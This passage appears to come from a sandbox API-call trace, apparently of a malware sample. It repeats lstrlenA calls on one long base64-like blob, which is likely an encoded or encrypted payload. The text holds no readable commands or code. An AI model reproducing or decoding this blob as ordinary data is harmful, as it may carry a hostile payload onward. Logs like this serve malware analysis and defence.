wwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.808] lstrlenA (lpString="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") returned 5792 [0163.808] lstrlenA (lpString="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") returned 5792 [0163.808] lstrlenA (lpString="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